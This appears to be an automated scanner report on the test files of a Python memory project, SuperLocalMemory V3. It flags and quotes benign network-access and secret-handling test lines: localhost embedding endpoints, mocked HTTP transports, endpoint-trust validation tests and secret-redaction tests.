assert loaded.embedding.model_name == "Qwen3-Embedding" assert loaded.embedding.dimension == 1024 assert loaded.embedding.api_endpoint == "http://localhost:8045/v1" - Network accessline 151
[Credential-related source omitted] - Network accessline 152
assert loaded.embedding.api_endpoint == "http://localhost:8045/v1" - Access to secretsline 153
[Credential-related source omitted] - Network accessline 175
cfg = EmbeddingConfig( provider="openai", api_endpoint="http://localhost:8045/v1", - Network accessline 176
provider="openai", api_endpoint="http://localhost:8045/v1", ) - Network accessline 177
api_endpoint="http://localhost:8045/v1", - Network accessline 202
cfg = EmbeddingConfig( provider="openai", api_endpoint="http://localhost:8045/v1", - Network accessline 203
provider="openai", api_endpoint="http://localhost:8045/v1", model_name="test-model", - Network accessline 204
api_endpoint="http://localhost:8045/v1", - Network accessline 232
Mode.B, embedding_provider="openai", embedding_endpoint="http://localhost:8045/v1", - Network accessline 233
embedding_provider="openai", embedding_endpoint="http://localhost:8045/v1", embedding_model_name="bge-m3", - Network accessline 234
embedding_endpoint="http://localhost:8045/v1",
tests/test_core/test_outbound_gate.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 31
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Network accessline 33
_REMOTE = "https://llm.example.com/v1/chat/completions" - Network accessline 34
_LAN = "http://192.168.1.50:11434/api/embed" - Network accessline 35
_LOCAL = "http://127.0.0.1:11434/api/embed" - Network accessline 94
def _fake_post(url, **kw): seen.update(kw, url=url) return httpx.Response(200, json={}, request=httpx.Request("POST", url)) - Network accessline 96
return httpx.Response(200, json={}, request=httpx.Request("POST", url)) - Network accessline 109
def _fake_post(url, **kw): seen.update(kw) return httpx.Response(200, json={}, request=httpx.Request("POST", url)) - Network accessline 111
return httpx.Response(200, json={}, request=httpx.Request("POST", url)) - Network accessline 120
def _handler(request: httpx.Request) -> httpx.Response: bodies.append(request.content) return httpx.Response(200, json={"ok": True}) - Network accessline 121
bodies.append(request.content) return httpx.Response(200, json={"ok": True}) return httpx.MockTransport(_handler) - Network accessline 122
return httpx.Response(200, json={"ok": True}) - Network accessline 123
return httpx.MockTransport(_handler) - Network accessline 154
async def _handler(request: httpx.Request) -> httpx.Response: bodies.append(request.content) return httpx.Response(200, text="data: [DONE]\n") - Network accessline 156
return httpx.Response(200, text="data: [DONE]\n") - Network accessline 158
async with outbound_http.astream_json( "POST", _REMOTE, _payload(), transport=httpx.MockTransport(_handler), - Network accessline 159
"POST", _REMOTE, _payload(), transport=httpx.MockTransport(_handler), - Network accessline 170
def test_urlopen_screens_a_json_body_for_another_machine(monkeypatch) -> None: seen: list[urllib.request.Request] = [] - Network accessline 171
seen: list[urllib.request.Request] = [] - Network accessline 178
monkeypatch.setattr(urllib.request.OpenerDirector, "open", lambda self, req, *a, **kw: _fake_urlopen(req)) req = urllib.request.Request(_LAN, data=json.dumps(_payload()).encode(), - Network accessline 179
lambda self, req, *a, **kw: _fake_urlopen(req)) req = urllib.request.Request(_LAN, data=json.dumps(_payload()).encode(), headers={"Content-Type": "application/json"}) - Network accessline 180
req = urllib.request.Request(_LAN, data=json.dumps(_payload()).encode(), - Network accessline 195
def __init__(self) -> None: self.saw: list[bytes] = [] self._srv = socket.socket() - Network accessline 196
self.saw: list[bytes] = [] self._srv = socket.socket() self._srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - Network accessline 197
self._srv = socket.socket() - Network accessline 200
self._srv.listen(1) self._srv.settimeout(1) self.url = f"http://127.0.0.1:{self._srv.getsockname()[1]}" - Network accessline 201
self._srv.settimeout(1) self.url = f"http://127.0.0.1:{self._srv.getsockname()[1]}" self._t = threading.Thread(target=self._accept, daemon=True) - Network accessline 202
self.url = f"http://127.0.0.1:{self._srv.getsockname()[1]}" - Network accessline 232
def _closed_loopback_url() -> str: s = socket.socket() - Network accessline 233
s = socket.socket() - Network accessline 235
port = s.getsockname()[1] s.close() # nothing listens here: a direct connection is refused at once return f"http://127.0.0.1:{port}/api/chat" - Network accessline 237
return f"http://127.0.0.1:{port}/api/chat" - Network accessline 258
def test_urlopen_to_this_machine_bypasses_the_proxy(env_proxy) -> None: req = urllib.request.Request(_closed_loopback_url(), - Network accessline 259
req = urllib.request.Request(_closed_loopback_url(), - Network accessline 271
@pytest.mark.parametrize("url", [ "http://my-box.localhost:1234/v1", - Network accessline 272
"http://my-box.localhost:1234/v1", - Network accessline 273
"http://evil.localhost/v1", - Network accessline 274
"http://a.b.localhost./v1", - Network accessline 281
@pytest.mark.parametrize("url", [ "http://localhost:11434/api/chat", "http://LOCALHOST./v1", - Network accessline 282
"http://localhost:11434/api/chat", "http://LOCALHOST./v1", - Network accessline 283
"http://127.0.0.1:8080/v1", "http://127.9.9.9/v1", "http://[::1]:9000/v1",
tests/test_core/test_phase4b_temporal_surfacing.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_phase5_brain_wiring.py
- Executable scriptline 1
Executable file
tests/test_core/test_pid_liveness_on_windows.py
- Executable scriptline 1
Executable file
tests/test_core/test_pii.py
- Executable scriptline 1
Executable file
tests/test_core/test_platform_utils.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_pr253_calibration_cancel.py
- Executable scriptline 1
Executable file
tests/test_core/test_pr253_calibration_nonregression.py
- Executable scriptline 1
Executable file
tests/test_core/test_pr253_calibration_publication.py
- Executable scriptline 1
Executable file - Network accessline 57
def test_local_generator_connection_is_built_only_by_the_fixed_loopback_gate(monkeypatch): import http.client - Network accessline 58
import http.client - Network accessline 61
from superlocalmemory.core import outbound_http connect = Mock() monkeypatch.setattr(http.client, "HTTPConnection", connect) - Network accessline 62
connect = Mock() monkeypatch.setattr(http.client, "HTTPConnection", connect) outbound_http.local_ollama_connection() - Network accessline 63
monkeypatch.setattr(http.client, "HTTPConnection", connect)
tests/test_core/test_pr253_recipe_compatibility.py
- Executable scriptline 1
Executable file
tests/test_core/test_pr253_source_and_budget_notices.py
- Executable scriptline 1
Executable file
tests/test_core/test_profiles.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_profiles_save_on_windows.py
- Executable scriptline 1
Executable file
tests/test_core/test_progressive_abstraction.py
- Executable scriptline 1
Executable file
tests/test_core/test_project_identity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_projection_queue_reports_honestly.py
- Executable scriptline 1
Executable file
tests/test_core/test_provider_endpoint_trust.py
- Executable scriptline 1
Executable file - Network accessline 37
def test_query_string_refused(self) -> None: err = validate_provider_endpoint_url("https://example.com/v1?key=abc") - Network accessline 38
err = validate_provider_endpoint_url("https://example.com/v1?key=abc") - Network accessline 42
def test_fragment_refused(self) -> None: err = validate_provider_endpoint_url("https://example.com/v1#frag") - Network accessline 43
err = validate_provider_endpoint_url("https://example.com/v1#frag") - Network accessline 46
def test_embedded_credentials_refused(self) -> None: err = validate_provider_endpoint_url("http://user:pass@127.0.0.1:8080/v1") - Network accessline 47
err = validate_provider_endpoint_url("http://user:pass@127.0.0.1:8080/v1") - Network accessline 52
class TestLoopbackAlwaysAllowed: @pytest.mark.parametrize("url", [ "http://127.0.0.1:8080/v1", - Network accessline 53
@pytest.mark.parametrize("url", [ "http://127.0.0.1:8080/v1", "http://localhost:8080/v1", - Network accessline 54
"http://127.0.0.1:8080/v1", - Network accessline 55
"http://localhost:8080/v1", - Network accessline 56
"http://[::1]:8080/v1", - Network accessline 63
def test_allowed_when_trust_flag_true(self) -> None: assert validate_provider_endpoint_url( "http://192.168.1.50:8041/v1", trust_plain_http_lan=True, - Network accessline 64
assert validate_provider_endpoint_url( "http://192.168.1.50:8041/v1", trust_plain_http_lan=True, ) is None - Network accessline 65
"http://192.168.1.50:8041/v1", trust_plain_http_lan=True, - Network accessline 68
def test_refused_when_trust_flag_false(self) -> None: err = validate_provider_endpoint_url( "http://192.168.1.50:8041/v1", trust_plain_http_lan=False, - Network accessline 69
err = validate_provider_endpoint_url( "http://192.168.1.50:8041/v1", trust_plain_http_lan=False, ) - Network accessline 70
"http://192.168.1.50:8041/v1", trust_plain_http_lan=False, - Network accessline 76
class TestPublicAndBareHostnamesRequireHttps: def test_public_ip_plain_http_refused(self) -> None: err = validate_provider_endpoint_url("http://8.8.8.8/v1", trust_plain_http_lan=True) - Network accessline 77
def test_public_ip_plain_http_refused(self) -> None: err = validate_provider_endpoint_url("http://8.8.8.8/v1", trust_plain_http_lan=True) assert err is not None - Network accessline 78
err = validate_provider_endpoint_url("http://8.8.8.8/v1", trust_plain_http_lan=True) - Network accessline 85
err = validate_provider_endpoint_url( "http://my-server.lan:8041/v1", trust_plain_http_lan=True, - Network accessline 86
"http://my-server.lan:8041/v1", trust_plain_http_lan=True, - Network accessline 91
def test_https_to_a_public_host_allowed(self) -> None: assert validate_provider_endpoint_url("https://api.example.com/v1") is None - Network accessline 92
assert validate_provider_endpoint_url("https://api.example.com/v1") is None - Network accessline 94
def test_https_to_a_bare_hostname_allowed(self) -> None: assert validate_provider_endpoint_url("https://my-server.lan/v1") is None - Network accessline 95
assert validate_provider_endpoint_url("https://my-server.lan/v1") is None - Network accessline 99
def test_label_appears_in_error(self) -> None: err = validate_provider_endpoint_url( "http://8.8.8.8/v1", label="the LLM endpoint", - Network accessline 100
err = validate_provider_endpoint_url( "http://8.8.8.8/v1", label="the LLM endpoint", ) - Network accessline 101
"http://8.8.8.8/v1", label="the LLM endpoint", - Network accessline 106
def test_default_label_is_generic(self) -> None: err = validate_provider_endpoint_url("http://8.8.8.8/v1") - Network accessline 107
err = validate_provider_endpoint_url("http://8.8.8.8/v1")
tests/test_core/test_queue_consumer.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_ram_lock.py
- Executable scriptline 1
Executable file
tests/test_core/test_ram_lock_cross_platform.py
- Executable scriptline 1
Executable file
tests/test_core/test_ranking_policy.py
- Executable scriptline 1
Executable file
tests/test_core/test_rate_limit.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_rate_limiter_runtime.py
- Executable scriptline 1
Executable file
tests/test_core/test_recall_behavioral_entities.py
- Executable scriptline 1
Executable file
tests/test_core/test_recall_health.py
- Executable scriptline 1
Executable file
tests/test_core/test_recall_layers.py
- Executable scriptline 1
Executable file
tests/test_core/test_recall_markers.py
- Executable scriptline 1
Executable file
tests/test_core/test_recall_pipeline_answer_check_trace.py
- Executable scriptline 1
Executable file
tests/test_core/test_recall_priority_gate.py
- Executable scriptline 1
Executable file - Network accessline 82
service = EmbeddingService(EmbeddingConfig( provider="openai", api_endpoint="http://embedder.invalid/v1", - Network accessline 83
provider="openai", api_endpoint="http://embedder.invalid/v1", model_name="test-model", - Network accessline 84
api_endpoint="http://embedder.invalid/v1", - Network accessline 93
timeouts.append(kwargs["timeout"]) preempted.set() raise httpx.ReadTimeout("profile reconfigure requested") - Network accessline 95
raise httpx.ReadTimeout("profile reconfigure requested") - Network accessline 125
service = EmbeddingService(EmbeddingConfig( provider="openai", api_endpoint="http://localhost:8045/v1", - Network accessline 126
provider="openai", api_endpoint="http://localhost:8045/v1", dimension=1, - Network accessline 127
api_endpoint="http://localhost:8045/v1", - Network accessline 142
service = EmbeddingService(EmbeddingConfig( provider="cloud", api_endpoint="https://example.invalid", - Network accessline 143
[Credential-related source omitted] - Network accessline 144
api_endpoint="https://example.invalid", - Access to secretsline 145
[Credential-related source omitted]
tests/test_core/test_recall_queue.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_recall_sources.py
- Executable scriptline 1
Executable file
tests/test_core/test_recall_store_boundary.py
- Executable scriptline 1
Executable file
tests/test_core/test_recall_worker_write_identity.py
- Executable scriptline 1
Executable file
tests/test_core/test_redaction_keeps_paths_and_urls.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 19
KEPT = ( "Docs: https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md", - Network accessline 20
"Docs: https://github.com/qualixar/superlocalmemory/blob/main/CHANGELOG.md", - Network accessline 21
"Repo at /Users/yourusername/Documents/client-work/agentic-projects/slm", "Thumbnail https://img.youtube.com/vi/PMWW_ypsL60/hqdefault.jpg in the README", "Config: ~/.superlocalmemory/runtimes/laya/huggingface/hub/models--laya/snapsh - Network accessline 22
"Thumbnail https://img.youtube.com/vi/PMWW_ypsL60/hqdefault.jpg in the README", - Network accessline 37
@pytest.mark.parametrize("aggression", ["normal", "high"]) def test_a_random_segment_inside_a_link_is_still_redacted(aggression: str) -> None: text = f"download https://files.example.com/share/{RANDOM_SEGMENT}/report.pdf" - Network accessline 38
def test_a_random_segment_inside_a_link_is_still_redacted(aggression: str) -> None: text = f"download https://files.example.com/share/{RANDOM_SEGMENT}/report.pdf" out = redact_secrets(text, aggression=aggression) - Network accessline 39
text = f"download https://files.example.com/share/{RANDOM_SEGMENT}/report.pdf" - Network accessline 40
out = redact_secrets(text, aggression=aggression) assert RANDOM_SEGMENT not in out assert "https://files.example.com/share/" in out - Network accessline 41
assert RANDOM_SEGMENT not in out assert "https://files.example.com/share/" in out assert "/report.pdf" in out - Network accessline 42
assert "https://files.example.com/share/" in out - Network accessline 57
[Credential-related source omitted] - Network accessline 58
url = "".join(("https://hooks.slack.com/services/", "T00000000/B00000000/", secret))
tests/test_core/test_registry.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_registry_coverage.py
- Executable scriptline 1
Executable file
tests/test_core/test_remember_correction_kind_carryover.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_remember_replaces.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_requests_and_stubs_do_not_answer_recency.py
- Executable scriptline 1
Executable file
tests/test_core/test_reranker_enabled_override.py
- Executable scriptline 1
Executable file
tests/test_core/test_reranker_scores_by_length.py
- Executable scriptline 1
Executable file
tests/test_core/test_reranker_worker_gpu_cache.py
- Executable scriptline 1
Executable file
tests/test_core/test_review243_hopfield_config.py
- Executable scriptline 1
Executable file
tests/test_core/test_s9_dash_recall_perf.py
- Executable scriptline 1
Executable file
tests/test_core/test_s9_w2_security.py
- Executable scriptline 1
Executable file
tests/test_core/test_safe_fs.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_saved_memory_keeps_its_own_fact.py
- Executable scriptline 1
Executable file
tests/test_core/test_scale_engine_config.py
- Executable scriptline 1
Executable file
tests/test_core/test_scale_engine_lifecycle.py
- Executable scriptline 1
Executable file
tests/test_core/test_scope_config.py
- Executable scriptline 1
Executable file
tests/test_core/test_scope_plumbing.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_secrets_are_owner_only_before_written.py
- Executable scriptline 1
Executable file
tests/test_core/test_security_primitives.py
tests/test_core/test_session_close_stays_cheap.py
- Executable scriptline 1
Executable file
tests/test_core/test_set_fact_kind_mutation.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_shadow_router.py
- Executable scriptline 1
Executable file
tests/test_core/test_shadow_router_reaches_a_verdict.py
- Executable scriptline 1
Executable file
tests/test_core/test_sheaf_default_off.py
- Executable scriptline 1
Executable file
tests/test_core/test_sheaf_explicit_choice.py
- Executable scriptline 1
Executable file
tests/test_core/test_sheaf_notice_once_per_install.py
- Executable scriptline 1
Executable file
tests/test_core/test_silent_failure_elevation.py
- Executable scriptline 1
Executable file
tests/test_core/test_slm_disabled.py
- Executable scriptline 1
Executable file
tests/test_core/test_slm_media_catalog_and_validation.py
- Executable scriptline 1
Executable file - Network accessline 31
def test_a_store_whose_live_space_is_the_managed_model_is_inferred_as_such(): desired = EmbeddingConfig(model_name="nomic-ai/nomic-embed-text-v1.5", dimension=768, provider="sentence-transformers", api_endp - Network accessline 32
[Credential-related source omitted] - Network accessline 33
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted]
tests/test_core/test_slm_media_provider_routing.py
- Executable scriptline 1
Executable file
tests/test_core/test_source_fidelity_guard.py
- Executable scriptline 1
Executable file
tests/test_core/test_stage8_ram_lock_parent_perms.py
- Executable scriptline 1
Executable file
tests/test_core/test_stale_session_close.py
- Executable scriptline 1
Executable file
tests/test_core/test_startup_coverage_check.py
- Executable scriptline 1
Executable file
tests/test_core/test_store_pipeline_canonical_write_order.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_store_pipeline_vectors.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_sufficiency_wiring.py
- Executable scriptline 1
Executable file
tests/test_core/test_support_stage.py
- Executable scriptline 1
Executable file
tests/test_core/test_tag_identity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_tag_query.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_the_answer_check_is_repeatable.py
- Executable scriptline 1
Executable file - Network accessline 302
def __init__(self) -> None: self.bodies: list[dict] = [] self.transport = httpx.MockTransport(self._handle) - Network accessline 304
self.transport = httpx.MockTransport(self._handle) - Network accessline 308
self.bodies.append(body) answers = {k: {"type": "noul", "noul": 0.3} for k in body["state"]["memories"]} return httpx.Response(200, json={"model": MODEL, "answers": answers, "usage": {}}) - Network accessline 310
return httpx.Response(200, json={"model": MODEL, "answers": answers, "usage": {}}) - Network accessline 352
store = JudgeKeyStore(slm_home=tmp_path) store.set_key("typesafe", FAKE_KEY) down = httpx.MockTransport(lambda r: httpx.Response(503)) - Network accessline 353
store.set_key("typesafe", FAKE_KEY) down = httpx.MockTransport(lambda r: httpx.Response(503)) judge = JevSufficiencyJudge(provider="typesafe", key_store=store, transport=down) - Network accessline 354
down = httpx.MockTransport(lambda r: httpx.Response(503)) - Access to secretsline 430
[Credential-related source omitted]
tests/test_core/test_the_answer_check_on_the_recall_path.py
- Executable scriptline 1
Executable file - Network accessline 97
def __init__(self) -> None: self.bodies: list[dict] = [] self.transport = httpx.MockTransport(self._handle) - Network accessline 99
self.transport = httpx.MockTransport(self._handle) - Network accessline 112
answers[CHOICE_KEY] = {"type": "choice", "choice": keys[-1], "probabilities": probs} return httpx.Response(200, json={"model": MODEL, "answers": answers, "usage": {}}) - Network accessline 114
return httpx.Response(200, json={"model": MODEL, "answers": answers, "usage": {}})
tests/test_core/test_the_drain_projects_what_recall_can_return.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_the_engine_that_ranks_is_the_engine_reported.py
- Executable scriptline 1
Executable file
tests/test_core/test_the_graph_projection_never_drifts.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_the_kind_facet_runs_before_the_judge.py
- Executable scriptline 1
Executable file
tests/test_core/test_the_online_check_sends_only_this_profiles_memories.py
- Executable scriptline 1
Executable file
tests/test_core/test_topic_signature.py
- Executable scriptline 1
Executable file - Network accessline 141
def test_urls_contribute_to_signature() -> None: a = ts.compute_topic_signature("look at https://example.com/foo and fix") - Network accessline 142
a = ts.compute_topic_signature("look at https://example.com/foo and fix") - Network accessline 143
b = ts.compute_topic_signature("look at https://example.com/bar and fix")
tests/test_core/test_turn_three_is_not_as_cold_as_turn_one.py
- Executable scriptline 1
Executable file
tests/test_core/test_v3442_reranker_warmup_singleton.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_vector_history_stays_bounded.py
- Executable scriptline 1
Executable file
tests/test_core/test_what_am_i_working_on_answers.py
- Executable scriptline 1
Executable file
tests/test_core/test_which_check_runs_and_who_holds_it.py
tests/test_core/test_worker_pool_fast.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_worker_pool_fd.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp12b_hopfield_roundtrip.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp19_description.py
- Executable scriptline 1
Executable file - Network accessline 51
def test_local_kind_classifier_uses_a_bounded_local_call(): from superlocalmemory.encoding.local_description_kinds import LocalDescriptionKinds llm = SimpleNamespace(provider='ollama', _ollama_host='http://localhost:11434', model='l - Network accessline 52
from superlocalmemory.encoding.local_description_kinds import LocalDescriptionKinds llm = SimpleNamespace(provider='ollama', _ollama_host='http://localhost:11434', model='local') request = Mock(return_value={'kind': 'fact'}) - Network accessline 53
llm = SimpleNamespace(provider='ollama', _ollama_host='http://localhost:11434', model='local') - Network accessline 62
def test_hosted_kind_classifier_never_receives_memory_text(): from superlocalmemory.encoding.local_description_kinds import LocalDescriptionKinds llm = SimpleNamespace(provider='ollama', _ollama_host='https://example.com', model='ho - Network accessline 63
from superlocalmemory.encoding.local_description_kinds import LocalDescriptionKinds llm = SimpleNamespace(provider='ollama', _ollama_host='https://example.com', model='hosted') request = Mock() - Network accessline 64
llm = SimpleNamespace(provider='ollama', _ollama_host='https://example.com', model='hosted') - Network accessline 72
def test_local_model_cannot_bypass_correction_or_strong_rule_cues(): from superlocalmemory.encoding.local_description_kinds import LocalDescriptionKinds llm = SimpleNamespace(provider='ollama', _ollama_host='http://localhost:11434', - Network accessline 73
from superlocalmemory.encoding.local_description_kinds import LocalDescriptionKinds llm = SimpleNamespace(provider='ollama', _ollama_host='http://localhost:11434', model='local') classifier = LocalDescriptionKinds(delegate=None, llm - Network accessline 74
llm = SimpleNamespace(provider='ollama', _ollama_host='http://localhost:11434', model='local')
tests/test_core/test_wp19_enrichment_event_start.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp19_health_repairs.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp19_health_report.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp19_health_service.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp19_native_repair_undo.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp19_ollama_cloud.py
- Executable scriptline 1
Executable file - Network accessline 19
SHOWS = { 'llama3.2:latest': {'details': {'family': 'llama'}, 'model_info': {}}, 'gpt-oss:120b': {'remote_host': 'https://ollama.com:443', 'remote_model': 'gpt-oss:120b'}, - Network accessline 20
'llama3.2:latest': {'details': {'family': 'llama'}, 'model_info': {}}, 'gpt-oss:120b': {'remote_host': 'https://ollama.com:443', 'remote_model': 'gpt-oss:120b'}, } - Network accessline 21
'gpt-oss:120b': {'remote_host': 'https://ollama.com:443', 'remote_model': 'gpt-oss:120b'}, - Network accessline 60
kinds._VERDICTS.clear() llm = SimpleNamespace(provider='ollama', model=model, _ollama_host=f'http://127.0.0.1:{server.server_address[1]}') - Network accessline 61
llm = SimpleNamespace(provider='ollama', model=model, _ollama_host=f'http://127.0.0.1:{server.server_address[1]}') request = Mock(return_value={'kind': 'fact'}) - Network accessline 62
_ollama_host=f'http://127.0.0.1:{server.server_address[1]}')
tests/test_core/test_wp19_recall_stubs.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp19_repair_saves.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp19_resave_valid_from.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp19_save_paths.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp19_stub_unmark.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp5_dedup.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp5_enrichment.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp5_truncation.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp5b_fidelity_failure.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp5b_legacy_recall.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp5b_quarantine.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp5b_review_listing.py
- Executable scriptline 1
Executable file
tests/test_core/test_wp6_calibration_job.py
- Executable scriptline 1
Executable file - Network accessline 285
